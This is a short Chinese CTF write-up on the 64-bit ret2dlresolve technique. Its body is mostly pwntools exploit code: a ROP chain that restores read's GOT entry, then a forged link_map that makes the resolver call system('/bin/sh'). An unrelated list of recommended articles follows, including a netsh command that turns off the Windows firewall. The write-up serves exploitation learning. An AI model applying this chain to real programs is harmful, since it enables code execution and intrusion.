ret2dl64
ret2dl64
ret2dl64 与ret2dl32不同,ret2dl64需要知道libc。
检查保护:
IDA看一看
read_got 被置为0,强制你使用ret2dlresolve。
我们先伪造link_map,然后让程序去执行我们伪造的link_map,执行system('/bin/sh')。
首先我们需要恢复read函数的got表,方法就是布置好参数跳转到plt0重新解析read函数。
bin_sh = fake_link_map_addr + 0x78
payload = fake_link_map
payload = payload.ljust(0x118,'\x00')
payload += p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_r15_ret)+p64(0x0600E10)+p64(0)+p64(0x400406) #恢复read_got的内容
payload += p64(pop_rdi_ret) + p64(bin_sh)+p64(ret)+ p64(plt_load) + p64(fake_link_map_addr) + p64(0)#通过fake_link_map调用system('/bin/sh')
我们再来看看fake_link_map
l_addr = libc.sym['system'] - libc.sym['read']
r_offset = buf - l_addr #保证buf为可读可写就可以了
#负数需要补码
if l_addr < 0:
l_addr = l_addr + 0x10000000000000000
fake_link_map_addr = buf
fake_dyn_strtab_addr = fake_link_map_addr + 0x8
fake_dyn_symtab_addr = fake_link_map_addr + 0x18
fake_dyn_rel_addr = fake_link_map_addr + 0x28
fake_link_map = p64(l_addr)
fake_link_map += p64(0) + p64(dynstr) #fake_dyn_strtab : fake_link_map_addr + 0x8
fake_link_map += p64(0) + p64(read_got - 0x8) #fake_dyn_symtab : fake_link_map_addr + 0x18
fake_link_map += p64(0) + p64(fake_link_map_addr + 0x38) #fake_dyn_rel : fake_link_map_addr + 0x28
fake_link_map += p64(r_offset) + p64(0x7) + p64(0) #fake_rel : fake_link_map_addr + 0x38
fake_link_map = fake_link_map.ljust(0x68,'\x00')
fake_link_map += p64(fake_dyn_strtab_addr)#dyn_strtab的指针
fake_link_map += p64(fake_dyn_symtab_addr) #dyn_strsym的指针 : fake_link_map_addr + 0x70
fake_link_map += '/bin/sh\x00' #fake_link_map_addr + 0x78
fake_link_map = fake_link_map.ljust(0xF8,'\x00')
fake_link_map += p64(fake_dyn_rel_addr)#在fake_link_map_addr + 0xF8处,是rel.plt指针
ret2dl64的更多相关文章
随机推荐
- Baidu Apollo use: command " rosbag " not fonud
https://github.com/ApolloAuto/apollo/issues/181 1.If using dev docker env, you need run apollo.sh bu ...
- 云服务器Centos7部署Tomcat服务器
目录 部署Tomcat服务器 1.安装JDK1.8 2.安装与启动tomcat 配置安全组(8080端口) 参考文章 部署Tomcat服务器 1.安装JDK1.8 JDK下载地址:https://ww ...
- Python算法_爬楼梯(08)
假设你正在爬楼梯.需要 n 阶你才能到达楼顶. 每次你可以爬 1 或 2 个台阶.你有多少种不同的方法可以爬到楼顶呢? 注意:给定 n 是一个正整数. 示例 1: 输入: 2输出: 2解释: 有两种方 ...
- 如何使用irealtime.js实现一个基于websocket的同步画板
同步画板演示 同时打开2个tab,分别在画布上写下任意内容,观察演示结果,同时可设置画笔颜色及线条宽度.演示地址 初始化画布 <canvas id="drawBoard" w ...
- [译]我是如何将GTA在线模式的加载时间缩短70%的
[译]我是如何将GTA在线模式的加载时间缩短70%的 译注: 最近在网上发现了一篇有意思的文章, 一个国外大神受不了GTA5在线模式的加载时间, 一怒之下反汇编了GTA5的源码, 并最终发现了问题的原 ...
- win10使用cmd命令关闭防火墙
在搜索框内输入cmd,右键选择管理员运行 然后输入: NetSh Advfirewall set allprofiles state off #关闭防火墙 Netsh Advfirewall show ...
- 关于 C++ 中的强制转换 - 基础篇
引言 假设有基类 A,包含了虚函数 func1,以及有派生类 B,继承于类 A,派生类 B 中实现了函数 func1.此时可以用 A 类型的指针指向 B 类型的对象,并用 A 类型的指针调用 B 类型 ...
- 记离线部署docker,以及docker下部署zabbix
一.离线安装docker 下载地址:https://download.docker.com/linux/static/stable/x86_64/ 上传软件并解压 [root@localhost op ...
- 日志文件迁移至OSS
一台服务器在用阿里云ECS,因为穷,磁盘空间有限,服务器日志文件每天都在增长,需要定期清理释放磁盘空间,想到几种解决方案: 写任务定时备份到本地服务器 直接下载到本地用移动硬盘备份 备份到阿里云OSS ...
- Linux速通06 系统的初始化服务和监控
Linux系统引导的顺序 # 掌握 Linux系统引导的顺序 * BIOS的工作是检查计算机的硬件设备,如CPU.内存和风扇速度等 * MBR会在启动盘的第一个块中,大小为512B,其中前446B是引 ...